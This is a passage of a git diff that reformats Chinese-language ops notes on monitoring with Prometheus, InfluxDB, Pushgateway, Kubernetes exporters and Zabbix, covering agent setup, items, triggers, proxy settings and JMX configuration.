http://localhost:9090/api/v1/status/runtimeinfo + 获取所有的标签: + curl http://127.0.0.1:9090/api/v1/labels + 获取某个标签的值 + curl http://127.0.0.1:9090/api/v1/label/标签名称/values + 获取所以的instance + curl http://127.0.0.1:9090/api/v1/targets?state=active|dropped|any + 获取所有的告警规则和记录规则 + curl http://127.0.0.1:9090/api/v1/rules?type=alert|record + 获取所有正在发生的告警 + curl http://localhost:9090/api/v1/alerts + 返回元数据 + curl http://localhost:9090/api/v1/metadata?metric=指标名称 + 查询当前alertmanager的状态 + curl http://localhost:9090/api/v1/alertmanagers + 获取当前的配置 + curl http://localhost:9090/api/v1/status/config + 运行信息 + curl http://localhost:9090/api/v1/status/runtimeinfo 数据状态变为deleted,如果不指定start和end就指定所有匹配的数据 curl -X POST -g 'http://localhost:9090/api/v1/admin/tsdb/delete_series?match[]=up&match[]=process_start_time_seconds{job="prometheus"}' - 清空被删除的数据 curl -XPOST http://localhost:9090/api/v1/admin/tsdb/clean_tombstones diff --git a/monitor/Prometheus/pushgateway.md b/monitor/Prometheus/pushgateway.md index e2b8b8e..f97124c 100644 --- a/monitor/Prometheus/pushgateway.md +++ b/monitor/Prometheus/pushgateway.md @@ -1,4 +1,11 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### 安装 + ```yaml version: '3' services: @@ -11,6 +18,7 @@ services: ``` ### 数据库可读取监控 + ```bash pushgateway=XXX.XXX.XXX.XXX port=9091 @@ -25,7 +33,9 @@ cat <> ~/pushgateway_script/cron.log + crontab -e + \*/1 * * * * /bin/bash ~/pushgateway_script/garys_status.sh >> ~/pushgateway_script/cron.log 3. 配置告警规则 -根据不同的集群,对应修改expr和description + 根据不同的集群,对应修改expr和description + ```yaml groups: - name: fisco-garys cluster status is not ok @@ -88,4 +102,4 @@ groups: severity: high annotations: description: it-fiscosgarys(XXX.XXX.XXX.XXX,XXX.XXX.XXX.XXX,XXX.XXX.XXX.XXX,XXX.XXX.XXX.XXX) 集群状态异常,节点异常数量 {{ $value }} -``` \ No newline at end of file +``` diff --git a/monitor/README.md b/monitor/README.md index 2293bd4..b8a7a29 100644 --- a/monitor/README.md +++ b/monitor/README.md @@ -1,37 +1,50 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] # 监控系统 + ## 监控划分 + 参考文档 https://my.oschina.net/u/4278828/blog/3200478/print 1. 针对不同场景把监控系统分为三类 - - 日志类 Log - - 调用链类 全链路监控 - - 度量类 Metric + + - 日志类 Log + - 调用链类 全链路监控 + - 度量类 Metric 2. 监控系统的分层 - 1. 客户端监控 - 2. 业务层监控 - 3. 应用层监控 - 4. 系统层监控 - - 内存 - - CPU - - 存储:硬盘掉线 硬盘读写错误 读写超时 - 5. 网络层监控 - - 流量速率 - 6. 硬件层 + + 1. 客户端监控 + 2. 业务层监控 + 3. 应用层监控 + 4. 系统层监控 + - 内存 + - CPU + - 存储:硬盘掉线 硬盘读写错误 读写超时 + 5. 网络层监控 + - 流量速率 + 6. 硬件层 3. 安全监控 ## 监控规划 + ### 收集数据 + Prometheus Zabbix + ### 数据存储 + 时序数据库 Rrometheus +4. -4. 监控是基础设施,目的是为了解决问题,不要只朝着大而全去做,尤其是不必要的指标采集,浪费人力和存储资源(To B商业产品例外)。 需要处理的告警才发出来,发出来的告警必须得到处理。 @@ -39,4 +52,5 @@ Zabbix 简单的架构就是最好的架构,业务系统都挂了,监控也不能挂。 ## 接口监控 -接口的 RT \ No newline at end of file + +接口的 RT diff --git a/monitor/TSDB.md b/monitor/TSDB.md index 9583f55..0fcaae9 100644 --- a/monitor/TSDB.md +++ b/monitor/TSDB.md @@ -1,71 +1,85 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # TSDB + 1. 时序数据库 -1999/07/16 RRDTool First release -2009/12/30 Graphite 0.9.5 -2011/12/23 OpenTSDB 1.0.0 -2013/05/24 KairosDB 1.0.0-beta -2013/10/24 InfluxDB 0.0.1 -2014/08/25 Heroic 0.3.0 -2017/03/27 TimescaleDB 0.0.1-beta -m3db + 1999/07/16 RRDTool First release + 2009/12/30 Graphite 0.9.5 + 2011/12/23 OpenTSDB 1.0.0 + 2013/05/24 KairosDB 1.0.0-beta + 2013/10/24 InfluxDB 0.0.1 + 2014/08/25 Heroic 0.3.0 + 2017/03/27 TimescaleDB 0.0.1-beta + m3db 2. 关系型数据 和 时序数据库 的查询语句对比 -https://songjiayang.gitbooks.io/prometheus/content/promql/sql.html + https://songjiayang.gitbooks.io/prometheus/content/promql/sql.html 3. 关系型数据库的海量查询 -https://www.cnblogs.com/Leo_wl/p/9645416.html + https://www.cnblogs.com/Leo_wl/p/9645416.html 4. 远端存储 -https://prometheus.io/docs/prometheus/latest/storage/ + https://prometheus.io/docs/prometheus/latest/storage/ + - https://yunlzheng.gitbook.io/prometheus-book/part-ii-prometheus-jin-jie/readmd/prometheus-remote-storage ## InfluxDB + - https://portal.influxdata.com/downloads/ 官网 - https://www.cnblogs.com/takemybreathaway/articles/10774787.html ### 概览 + 1. 语法:2.0版本的语法使用的是JavaScript,1.x使用的是sql。 2. influxdb提供了prometheus的对接端口有3个: -/api/v1/prom/read -/api/v1/prom/write -/api/v1/prom/metrics - -3. 术语 -database 数据库 -measurement 数据库中的表 -points 表里面的一行数据 -Point由时间戳(time)、数据(field)、标签(tags)组成 + /api/v1/prom/read + /api/v1/prom/write + /api/v1/prom/metrics +3. 术语 + database 数据库 + measurement 数据库中的表 + points 表里面的一行数据 + Point由时间戳(time)、数据(field)、标签(tags)组成 ### v1版本 + #### 部署 + 1. 默认的数据存储位置为/root/.influxdb/ 2. 通过配置文件更改存储位置 - ./influxd --config ./influxdb.conf + ./influxd --config ./influxdb.conf 3. 默认端口 - 8083: Web admin管理服务的端口, http://localhost:8083 - 8086: HTTP API的端口 - 8088: 集群端口(配置在全局的bind-address,默认是开启的) + 8083: Web admin管理服务的端口, http://localhost:8083 + 8086: HTTP API的端口 + 8088: 集群端口(配置在全局的bind-address,默认是开启的) ### v2版本 + #### 部署 -1. 默认的数据存储位置为:~/.influxdbv2,自定义存储位置则在启动参数中指定 bolt 和 engine 的存储路径 - ./influxd --bolt-path ./influxdbv2/influxd.bolt --engine-path ./influxdbv2/engine/ + +1. 默认的数据存储位置为:~/.influxdbv2,自定义存储位置则在启动参数中指定 bolt 和 engine 的存储路径 + ./influxd --bolt-path ./influxdbv2/influxd.bolt --engine-path ./influxdbv2/engine/ 2. 默认端口 9999 #### 操作语法 + - 基本上和sql一样 1. 数据保存策略 - show retention policies on 数据库名; + show retention policies on 数据库名; 2. 插入操作 - insert measurement,tag1=value,tag2=value key=数值 - 例如 - use test1 - insert ztest,tag1=a,tag2=b count=1 - curl -i -XPOST 'http://127.0.0.1:8086/write?db=test1' --data-binary 'ztest,tag1=a,tag2=b count=2' \ No newline at end of file + insert measurement,tag1=value,tag2=value key=数值 + 例如 + use test1 + insert ztest,tag1=a,tag2=b count=1 + curl -i -XPOST 'http://127.0.0.1:8086/write?db=test1' --data-binary 'ztest,tag1=a,tag2=b count=2' diff --git a/monitor/alert-media/dingding/READ.md b/monitor/alert-media/dingding/READ.md index 15903ec..f20e4bf 100644 --- a/monitor/alert-media/dingding/READ.md +++ b/monitor/alert-media/dingding/READ.md @@ -1,20 +1,31 @@ +--- +created_date: 2021-07-24 +--- + +[TOC] + ### 配置钉钉发送群消息 + - 材料 - - 发送钉钉消息的脚本 - - 钉钉app里的机器人 -1. 获取服务器的公网IP。(配置钉钉机器人的时候需要用到) - - $IP + - 发送钉钉消息的脚本 + - 钉钉app里的机器人 + +1. 获取服务器的公网IP。(配置钉钉机器人的时候需要用到) + + - $IP 2. 在钉钉群里面创建钉钉机器人。 - - 点击“群设置”,点击“智能群助手”,点击“添加机器人”,选择“自定义 通过Webhook接入自定义服务”的机器人。 - - 安全设置,勾选“IP地址”,填写公网IP - - $Publick_IP - - 点击添加。 - -3. 打开创建好的钉钉机器人,复制Webhook地址 - - 点击“群设置”,点击“智能群助手”,点击我们创建好的机器人,复制Webhook地址。 - - $Webhook_url - + + - 点击“群设置”,点击“智能群助手”,点击“添加机器人”,选择“自定义 通过Webhook接入自定义服务”的机器人。 + - 安全设置,勾选“IP地址”,填写公网IP + - $Publick_IP + - 点击添加。 + +3. 打开创建好的钉钉机器人,复制Webhook地址 + + - 点击“群设置”,点击“智能群助手”,点击我们创建好的机器人,复制Webhook地址。 + - $Webhook_url + 4. 在钉钉消息脚本里 替换对应的 $Publick_IP 和 $Webhook_url -5. 启动 \ No newline at end of file +5. 启动 diff --git a/monitor/monitor-k8s.md b/monitor/monitor-k8s.md index 7d984bc..0c1e8e2 100644 --- a/monitor/monitor-k8s.md +++ b/monitor/monitor-k8s.md @@ -1,13 +1,17 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + 1. K8s仪表盘:插件工具,展示每个K8s集群上的资源利用情况,也是实现资源和环境管理与交互的主要工具。 2. 容器探针:容器健康状态诊断工具。 -- blackbox 3. Kubelet:每个Node上都运行着Kubelet,监控容器的运行情况。Kubelet也是Master与各个Node通信的渠道。Kubelet能够直接暴露cAdvisor中与容器使用相关的个性化指标数据。 4. cAdvisor:开源的单节点agent,负责监控容器资源使用情况与性能,采集机器上所有容器的内存、网络使用情况、文件系统和CPU等数据。 - cAdvisor简单易用,但也存在不足:一是仅能监控基础资源利用情况,无法分析应用的实际性能;二是不具备长期存储和趋势分析能力。 + cAdvisor简单易用,但也存在不足:一是仅能监控基础资源利用情况,无法分析应用的实际性能;二是不具备长期存储和趋势分析能力。 5. Kube-state-metrics:轮询Kubernetes API,并将Kubernetes的结构化信息转换为metrics。 6. Metrics server:Metrics server定时从Kubelet的Summary API采集指标数据,并以metric-api的形式暴露出去。 - - https://blog.csdn.net/u013256816/article/details/107724335 cAdvisor:集成在 Kubelet 中。 @@ -38,4 +42,4 @@ NVIDIA Exporter:我们有 GPU 任务,需要 GPU 数据监控。 node-problem-detector:即 NPD,准确的说不是 Exporter,但也会监测机器状态,上报节点异常打 taint。 -应用层 Exporter:MySQL、Nginx、MQ 等,看业务需求。 \ No newline at end of file +应用层 Exporter:MySQL、Nginx、MQ 等,看业务需求。 diff --git a/monitor/zabbix/README.md b/monitor/zabbix/README.md index 7b9d769..8f7279d 100644 --- a/monitor/zabbix/README.md +++ b/monitor/zabbix/README.md @@ -1,17 +1,23 @@ +--- +created_date: 2022-06-12 +--- + +[TOC] + ## Zabbix -1. [zabbix-server3.4 Install](./zabbix-install-3.4.md) -2. [zabbix-server5.0 Install](./zabbix-install-5.0.md) -3. [agent Install 数据采集器安装](./agent-install.md) -4. [agent debug 调试工具](./agent-debug.md) -5. [items 监控项](./server-items.md) -6. [triggers 触发器](./server-triggers.md) -7. [performance tune 性能优化](./server-performance.md) -8. [zabbix-proxy 代理数据收集](./server-performance.md) -9. [zabbix-mysql 数据库字段讲解](./zabbix-mysql-table.md) +01. [zabbix-server3.4 Install](./zabbix-install-3.4.md) +02. [zabbix-server5.0 Install](./zabbix-install-5.0.md) +03. [agent Install 数据采集器安装](./agent-install.md) +04. [agent debug 调试工具](./agent-debug.md) +05. [items 监控项](./server-items.md) +06. [triggers 触发器](./server-triggers.md) +07. [performance tune 性能优化](./server-performance.md) +08. [zabbix-proxy 代理数据收集](./server-performance.md) +09. [zabbix-mysql 数据库字段讲解](./zabbix-mysql-table.md) 10. [zabbix config 配置讲解](./zabbix-config.md) 11. [error log 错误日志讲解](./zabbix-log.md) 12. [templates 模版](./zabbix-template.md) 13. [others 其它](./zabbix.md) -- Grafana模版 Zabbix-Simple-V5.0 https://grafana.com/grafana/dashboards/13355 \ No newline at end of file +- Grafana模版 Zabbix-Simple-V5.0 https://grafana.com/grafana/dashboards/13355 diff --git a/monitor/zabbix/agent-debug.md b/monitor/zabbix/agent-debug.md index f3e1689..2d61016 100644 --- a/monitor/zabbix/agent-debug.md +++ b/monitor/zabbix/agent-debug.md @@ -1,10 +1,15 @@ +--- +created_date: 2022-06-12 +--- [TOC] - zabbix调试测试工具 ## zabbix-get + - 实现从zabbix-agent端获取数据 + ```bash # 安装 yum install zabbix-get -y @@ -15,7 +20,9 @@ zabbix_get -s ${IP} -i data.txt ``` ## zabbix_sender + - 实现向zabbix-server主动推送数据 + ```bash # 安装 rpm -i http://repo.zabbix.com/zabbix/3.4/rhel/7/x86_64/zabbix-release-3.4-2.el7.noarch.rpm @@ -32,8 +39,9 @@ zabbix_sender -z ${IP} -i 文件路径 ``` ## snmp检测工具 + ```bash snmpwalk -v 2c -c public ${IP} # -v 指定版本(必填项) # -c 指定密钥 community string(必填项) -``` \ No newline at end of file +``` diff --git a/monitor/zabbix/agent-install.md b/monitor/zabbix/agent-install.md index 0cf0b7e..3b79cf3 100644 --- a/monitor/zabbix/agent-install.md +++ b/monitor/zabbix/agent-install.md @@ -1,7 +1,13 @@ +--- +created_date: 2022-06-12 +--- + [TOC] ## 一 Zabbix agent + ### 安装zabbix-agent 3.4 + ```bash # https://zabbixonly.com/how-to-install-zabbix-agent-3-4/ installInUbuntu18(){ @@ -65,46 +71,58 @@ fi init ``` +## JMX agent -## JMX agent - Zabbix-Java-gateway + - 基于Zabbix 3.4 -- 参考 - - https://www.zabbix.com/documentation/3.4/manual/config/items/itemtypes/jmx_monitoring - - https://www.zabbix.com/documentation/3.4/manual/concepts/java - - https://www.cnblogs.com/The-day-of-the-wind/p/9360867.html - - https://my.oschina.net/davehe/blog/520601 - - http://www.361way.com/zabbix-jmx/6044.html + +- 参考 + + - https://www.zabbix.com/documentation/3.4/manual/config/items/itemtypes/jmx_monitoring + - https://www.zabbix.com/documentation/3.4/manual/concepts/java + - https://www.cnblogs.com/The-day-of-the-wind/p/9360867.html + - https://my.oschina.net/davehe/blog/520601 + - http://www.361way.com/zabbix-jmx/6044.html - Zabbix-Java-gateway - - 从Zabbix 2.0版本起添加的程序,基于Java写的一个程序,用于监控JMX应用程序的服务进程。 + + - 从Zabbix 2.0版本起添加的程序,基于Java写的一个程序,用于监控JMX应用程序的服务进程。 - Java 管理扩展(Java Management Extension,JMX)是从jdk1.4开始的,但从1.5时才加到jdk里面,并把API放到java.lang.management包里面,是一个为Java应用程序植入管理功能的框架。 ### 安装配置Zabbix-Java-gateway + 1. 安装 - - yum -y install zabbix-java-gateway + + - yum -y install zabbix-java-gateway 2. 配置启动zabbix-java-gateway vi /etc/zabbix/zabbix_java_gateway.conf - ```conf - LISTEN_IP=”0.0.0.0″ - LISTEN_PORT=10052 - PID_FILE=”/var/run/zabbix/zabbix_java.pid” - # 开启的工作线程数 - START_POLLERS=5 - ``` - - systemctl start zabbix-java-gateway + + ```conf + LISTEN_IP=”0.0.0.0″ + LISTEN_PORT=10052 + PID_FILE=”/var/run/zabbix/zabbix_java.pid” + # 开启的工作线程数 + START_POLLERS=5 + ``` + + - systemctl start zabbix-java-gateway 3. 配置重启zabbix-server vi /etc/zabbix/zabbix_server.conf - ```conf - JavaGateway=172.0.0.1 # JavaGateway的服务器IP地址 - JavaGatewayPort=10052 # JavaGateway的服务端口 - StartJavaPollers=5 # 从javaGateway采集数据的进程数 - ``` - - systemctl restart zabbix-server + + ```conf + JavaGateway=172.0.0.1 # JavaGateway的服务器IP地址 + JavaGatewayPort=10052 # JavaGateway的服务端口 + StartJavaPollers=5 # 从javaGateway采集数据的进程数 + ``` + + - systemctl restart zabbix-server ### Java程序启动时开启JMX + 1. Java程序启动JMX示范 + ```bash java \ -Dcom.sun.management.jmxremote \ @@ -116,6 +134,7 @@ java \ ``` 2. Java程序启动JMX并且认证加密 + ```bash java \ -Djava.rmi.server.hostname=${IP} \ @@ -133,17 +152,20 @@ java \ -Dcom.sun.management.jmxremote.ssl.need.client.auth=true \ -jar name.ja ``` + - 当JMX启用认证时 Zabbix Web界面的item配置项需要添加用户名和密码。 3. 监控Tomcat -下载tomcat对应版本的jmx jar包 + 下载tomcat对应版本的jmx jar包 + ```bash cd /App/tomcat/lib wget http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.33/bin/extras/catalina-jmx-remote.jar # 该jar包,需要重启tomcat生效。 ``` -vim /usr/local/tomcat/bin/catalina.sh # 本机tomcat路径 +vim /usr/local/tomcat/bin/catalina.sh # 本机tomcat路径 + ```bash CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.management.jmxremote @@ -154,6 +176,7 @@ CATALINA_OPTS="$CATALINA_OPTS ``` ### 连通性测试 + ```bash # 下载查询测试JMX的jar包 https://sourceforge.net/projects/jmxcmd/ @@ -165,7 +188,7 @@ java -jar jmxcmd.jar USER:PASS HOST:PORT [BEAN] [COMMAND] java -jar jmxcmd.jar - ${IP}:12345 java.lang:type=Memory NonHeapMemoryUsage ``` - ## SNMP agent - - https://www.zabbix.com/documentation/3.4/manual/config/items/itemtypes/snmp - - 关于snmp的知识 https://blog.csdn.net/bbwangj/article/details/80981098 \ No newline at end of file + +- https://www.zabbix.com/documentation/3.4/manual/config/items/itemtypes/snmp +- 关于snmp的知识 https://blog.csdn.net/bbwangj/article/details/80981098 diff --git a/monitor/zabbix/server-items.md b/monitor/zabbix/server-items.md index cd51d87..a339ef1 100644 --- a/monitor/zabbix/server-items.md +++ b/monitor/zabbix/server-items.md @@ -1,84 +1,112 @@ +--- +created_date: 2020-11-16 +--- + [TOC] - 基于3.4版本 - 监控项参考文档 - https://www.cnblogs.com/wyzhou/p/10832442.html - https://www.zabbix.com/documentation/3.4/manual/config/items/itemtypes/zabbix_agent - https://www.zabbix.com/documentation/3.4/manual/appendix/items + https://www.cnblogs.com/wyzhou/p/10832442.html + https://www.zabbix.com/documentation/3.4/manual/config/items/itemtypes/zabbix_agent + https://www.zabbix.com/documentation/3.4/manual/appendix/items ## 监控项 + 1. 监控项接口 - - agent、jmx、impi、snmp + + - agent、jmx、impi、snmp 2. 监控项类型 - - Zabbix agent, Zabbix trapper, Simple checks, SNMP, Zabbix internal, IPMI, JMX monitoring ... + + - Zabbix agent, Zabbix trapper, Simple checks, SNMP, Zabbix internal, IPMI, JMX monitoring ... 3. 监控项item名称 - - 监控项item名称可以使用宏变量:$1, $2…$9,这9个参数对应item key的参数位置。 - - 例如: Free disk space on $1 - - 如果item key为“vfs.fs.size[/,free]”,那么对应的名称会变成”Free disk space on /“,$1对应了第一个参数”/“ + + - 监控项item名称可以使用宏变量:$1, $2…$9,这9个参数对应item key的参数位置。 + - 例如: Free disk space on $1 + - 如果item key为“vfs.fs.size[/,free]”,那么对应的名称会变成”Free disk space on /“,$1对应了第一个参数”/“ 4. 主动模式下一个正常的监控项获取数据的过程 - ``` - Server opens a TCP connection - Server sends agent.ping\n - Agent reads the request and responds with
        1 - Server processes data to get the value, '1' in our case - TCP connection is closed - ``` + + ``` + Server opens a TCP connection + Server sends agent.ping\n + Agent reads the request and responds with
        1 + Server processes data to get the value, '1' in our case + TCP connection is closed + ``` 5. 从Zabbix 3.4版本后,监控项多了一个功能Preprocessing,在监控项收集的数据存储到数据库前,可以预先对数据进行处理。 ## Zabbix agent监控项 + - 一些常用的监控项 - + 1. Agent - 1. agent可达性:agent.ping + + 1. agent可达性:agent.ping + 2. 操作系统 system - 1. 当前登录到系统中的用户数量 system.users.num - 2. CPU的利用率system.cpu.util[,,] - 3. 获取cpu硬件的信息 system.hw.cpu[,] - 4. 在agent上运行指令 system.run[command,] - - agent配置文件必须有此条配置 EnableRemoteCommands=1 -3. 日志信息 log logrt - - 只支持 active 模式 - 1. 日志文件监控 log[file,,,,,,] - - 例如 查看日志文件里面是否有错误 log[/var/log/syslog,error] + + 1. 当前登录到系统中的用户数量 system.users.num + 2. CPU的利用率system.cpu.util\[,,\] + 3. 获取cpu硬件的信息 system.hw.cpu\[,\] + 4. 在agent上运行指令 system.run\[command,\] + - agent配置文件必须有此条配置 EnableRemoteCommands=1 + +3. 日志信息 log logrt + + - 只支持 active 模式 + + 1. 日志文件监控 log\[file,,,,,,\] + - 例如 查看日志文件里面是否有错误 log[/var/log/syslog,error] + 4. 网络信息(Network interfaces) net - 1. 网卡流出的流量:net.if.out[network interface name,mode] - 2. 网卡流入的流量:net.if.in[network interface name,mode] - 3. TCP端口是否处于监听状态 net.tcp.listen[port] - 4. TCP端口是否能被连接 net.tcp.port[,port] - 5. 服务是否是运行状态且是否能进行TCP连接 net.tcp.service[service,,] + + 1. 网卡流出的流量:net.if.out[network interface name,mode] + 2. 网卡流入的流量:net.if.in[network interface name,mode] + 3. TCP端口是否处于监听状态 net.tcp.listen[port] + 4. TCP端口是否能被连接 net.tcp.port\[,port\] + 5. 服务是否是运行状态且是否能进行TCP连接 net.tcp.service\[service,,\] + 5. 进程监控 - 1. 进程的CPU利用率 proc.cpu.util[,,,,,] - 2. 进程的内存使用情况 proc.mem[,,,,] + + 1. 进程的CPU利用率 proc.cpu.util\[,,,,,\] + 2. 进程的内存使用情况 proc.mem\[,,,,\] 6. 文件系统监控 - 1. 磁盘读取数据监控 vfs.dev.read[,,] - 2. 检索文件是否存在 vfs.file.exists[file] - 3. 查找文件中的字符串,返回匹配的那行字符串 vfs.file.regexp[file,regexp,,,,] - 4. 目录大小监控 vfs.dir.size[dir,,,,] - 5. 检验文件是否存在 vfs.file.exists[filepath] - 6. 磁盘空间 vfs.fs.size[fs,] + + 1. 磁盘读取数据监控 vfs.dev.read\[,,\] + 2. 检索文件是否存在 vfs.file.exists[file] + 3. 查找文件中的字符串,返回匹配的那行字符串 vfs.file.regexp\[file,regexp,,,,\] + 4. 目录大小监控 vfs.dir.size\[dir,\,\,,\\] + 5. 检验文件是否存在 vfs.file.exists[filepath] + 6. 磁盘空间 vfs.fs.size\[fs,\] 7. 内存 - 1. 获取内存信息 vm.memory.size[] + + 1. 获取内存信息 vm.memory.size\[\] 8. web监控 - 1. 获取web界面的加载时间 web.page.perf[host,,] + + 1. 获取web界面的加载时间 web.page.perf\[host,,\] + 9. 安全信息 - 1. 获取文件校验值 vfs.file.cksum[/etc/passwd] + + 1. 获取文件校验值 vfs.file.cksum[/etc/passwd] ## 自定义监控项 + ### 磁盘监控 + ```conf # Centos7系统写$$2。 Ubuntu20系统写$2 UserParameter=device.tps[*],Device=$1 && iostat -d -k ${Device} | grep "${Device} " | awk '{printf("%f",$$2)}' UserParameter=device.kB_read[*],Device=$1 && iostat -d -k ${Device} | grep "${Device} " | awk '{printf("%f",$$3)}' UserParameter=device.kB_write[*],Device=$1 && iostat -d -k ${Device} | grep "${Device} " | awk '{printf("%f",$$4)}' ``` + - Template 配置 - - Name: {#DEVNAME}: Disk tps - - Key: device.tps[{#DEVNAME}] - - Type of information: Numeric(float) + - Name: {#DEVNAME}: Disk tps + - Key: device.tps[{#DEVNAME}] + - Type of information: Numeric(float) diff --git a/monitor/zabbix/server-performance.md b/monitor/zabbix/server-performance.md index a7540e9..d148963 100644 --- a/monitor/zabbix/server-performance.md +++ b/monitor/zabbix/server-performance.md @@ -1,17 +1,23 @@ +--- +created_date: 2022-06-12 +--- + [TOC] ## 优化 + - 参考文档 - - https://www.zabbix.com/documentation/3.4/manual/config/items/queue - - https://blog.csdn.net/bbwangj/article/details/80981098 - - 未研究 https://www.cnblogs.com/luoahong/articles/7911543.html - - 未研究 https://www.cnblogs.com/guarderming/p/10219897.html - - 未研究 https://www.cnblogs.com/yaoyaojcy/p/8259827.html - + - https://www.zabbix.com/documentation/3.4/manual/config/items/queue + - https://blog.csdn.net/bbwangj/article/details/80981098 + - 未研究 https://www.cnblogs.com/luoahong/articles/7911543.html + - 未研究 https://www.cnblogs.com/guarderming/p/10219897.html + - 未研究 https://www.cnblogs.com/yaoyaojcy/p/8259827.html + 1. queue: 表示item从数据库读取数据的耗时 2. queue延迟的原因 - - 子节点性能 - - 子节点与主节点之间的通行质量 - - 子节点与主节点之间的时间差 - - 数据库数据量过大 + + - 子节点性能 + - 子节点与主节点之间的通行质量 + - 子节点与主节点之间的时间差 + - 数据库数据量过大 diff --git a/monitor/zabbix/server-proxy.md b/monitor/zabbix/server-proxy.md index 0c68305..1d4cc78 100644 --- a/monitor/zabbix/server-proxy.md +++ b/monitor/zabbix/server-proxy.md @@ -1,19 +1,27 @@ +--- +created_date: 2020-11-16 +--- + [TOC] ## zabbix-server和zabbix-proxy间的通信机制 + - 官方文档 https://www.zabbix.com/documentation/3.4/manual/concepts/proxy 1. zabbix-proxy 和 agent进行通信 获取监控数据,然后存入数据库proxy_history表中。 + 2. zabbix-server 和 zabbix-proxy进行通信,zabbix-proxy数据库里的数据通过TCP协议传输至zabbix-server的数据库里。 -2. zabbix-server 和 zabbix-proxy 通过TCP协议进行连接。推测是短连接。 - - proxy主动模式,则proxy通过 data sender线程向server发送数据。 - - proxy为被动模式,则server通过proxy poller线程去获取数据。 +3. zabbix-server 和 zabbix-proxy 通过TCP协议进行连接。推测是短连接。 + + - proxy主动模式,则proxy通过 data sender线程向server发送数据。 + - proxy为被动模式,则server通过proxy poller线程去获取数据。 ## zabbix-proxy 配置文件 + ```conf DataSenderFrequency=1 # 主动模式下,proxy向 zabbix-server 发送采集到的数据 的时间间隔。默认为1秒 。 ConfigFrequency=3600 # 主动模式下,proxy向 zabbix-server 拉取监控项配置进行更新 的时间间隔。默认为1小时。 ProxyOfflineBuffer=1 # 当proxy和server连接失败时,依然保留采集到的数据多长时间。 默认为1小时。 HousekeepingFrequency=4 # 每小时执行多少次数据清理的程序。默认为4次。 -``` \ No newline at end of file +``` diff --git a/monitor/zabbix/server-triggers.md b/monitor/zabbix/server-triggers.md index 6f119ac..d33ee6f 100644 --- a/monitor/zabbix/server-triggers.md +++ b/monitor/zabbix/server-triggers.md @@ -1,13 +1,19 @@ +--- +created_date: 2020-11-16 +--- + [TOC] - 基于3.4版本的触发器讲解 - 触发器参考文档 - https://www.cnblogs.com/dadonggg/p/8566443.html - https://www.zabbix.com/documentation/3.4/manual/appendix/triggers/functions - https://www.zabbix.com/documentation/3.4/manual/config/triggers + https://www.cnblogs.com/dadonggg/p/8566443.html + https://www.zabbix.com/documentation/3.4/manual/appendix/triggers/functions + https://www.zabbix.com/documentation/3.4/manual/config/triggers ## 触发器语法 + 1. 触发器构建语法 + ``` {:.()\} 是模板名称 或者 主机名称 @@ -17,73 +23,92 @@   操作人,选填   持续性,选填 ``` + 例如: {Template App Zabbix Agent:agent.ping.nodata(5m)}=1 2. 触发器表达式知识点 - - 触发器表达式不能同时包含有模板和主机里的监控项。 - - A模板上的触发器表达式不能包含非A模板上的监控项。 - - 当触发器同时包含两台主机的触发器时则这个triiger会同时出现在这两台主机上。 + + - 触发器表达式不能同时包含有模板和主机里的监控项。 + - A模板上的触发器表达式不能包含非A模板上的监控项。 + - 当触发器同时包含两台主机的触发器时则这个triiger会同时出现在这两台主机上。 3. 触发器名称可以包含的宏变量 -{HOST.HOST}, {HOST.NAME}, {HOST.CONN}, {HOST.DNS}, {HOST.IP}, {ITEM.VALUE}, {ITEM.LASTVALUE} and {$MACRO}. -$1, $2…$9 macros can be used to refer to the first, second…ninth constant of the expression. + {HOST.HOST}, {HOST.NAME}, {HOST.CONN}, {HOST.DNS}, {HOST.IP}, {ITEM.VALUE}, {ITEM.LASTVALUE} and {$MACRO}. + $1, $2…$9 macros can be used to refer to the first, second…ninth constant of the expression. + ## 触发器表达式 + - 基于3.4版本 - 触发器表达式默认的时间单位都是秒。可以加上m,h,d,w单位。 - 基于时间的函数(nodata(), date(), dayofmonth(), dayofweek(), time(), now()),触发器就会由 Zabbix timer 进程每 30 秒重新计算一次。当接收到一 -个新值和每隔 30 秒都会重新计算触发器的状态。 -- 最不耗程序资源的函数 last(),nodedata() + 个新值和每隔 30 秒都会重新计算触发器的状态。 +- 最不耗程序资源的函数 last(),nodedata() + +01. abschange 最近一次值和上一次值的差绝对值。 -1. abschange 最近一次值和上一次值的差绝对值。 - 如果(每核)CPU 1分钟负载浮动大于10则告警 {ttlsa-web-01:system.cpu.load[percpu,avg1].abschange()}>10 - 对于字符串,=0表示最近一次值和上一次值相等,=1则表示不相等。 -2. avg(sec|#num,) +02. avg(sec|#num,\) + - avg(#5):表示最近5次得到值的平均值 - avg(3600,86400):表示一天前的一个小时的平均值 -4. change 最近一次值和上一次值的差。 +03. change 最近一次值和上一次值的差。 + +04. count (sec|#num\<,期望获得的值>,,\) -5. count (sec|#num<,期望获得的值>,,) - - 最近30分钟zabbix.zabbix.com这个主机超过5次不可到达: {zabbix.zabbix.com:icmpping.count(30m,0)}>5 + - 最近30分钟zabbix.zabbix.com这个主机超过5次不可到达: {zabbix.zabbix.com:icmpping.count(30m,0)}>5 + +05. date 返回当前的时间YYYYMMDD -6. date 返回当前的时间YYYYMMDD - 例如 20150731 -7. dayofmonth 返回今天是多少号 +06. dayofmonth 返回今天是多少号 + +07. delta(sec|#num,\) 返回区间内的最大值与最小值的差值 + + - 1小时内可用内存的百份比相差80: AAA.vm.memory.size[available].delta(1h)>80 -8. delta(sec|#num,) 返回区间内的最大值与最小值的差值 - - 1小时内可用内存的百份比相差80: AAA.vm.memory.size[available].delta(1h)>80 +08. diff 比较最近一次值和上一次值是否相同 -9. diff 比较最近一次值和上一次值是否相同 - =1 表示不同。 =0表示相同。 -10. last (,) +09. last (\,\) + - 获取最近的值,last()=last(#1) -11. max (sec|#num,) +10. max (sec|#num,\) + +11. min (sec|#num,\) -12. min (sec|#num,) +12. nodata (sec) -13. nodata (sec) - =1 表示周期评估时间内没接收到数据。 -14. regexp (,) - - 检查最近的值是否匹配正则表达式 -15. str (,) +13. regexp (,\) + + - 检查最近的值是否匹配正则表达式 + +14. str (,\) + - 查找周期内的值是否包含指定的字符串 -16. forecast (sec|#num,,time,,) 根据以往的值预测将来的值 - - 根据1小时内的剩余磁盘大小数据预测10小时后的剩余磁盘大小,当预测值小于0时触发告警 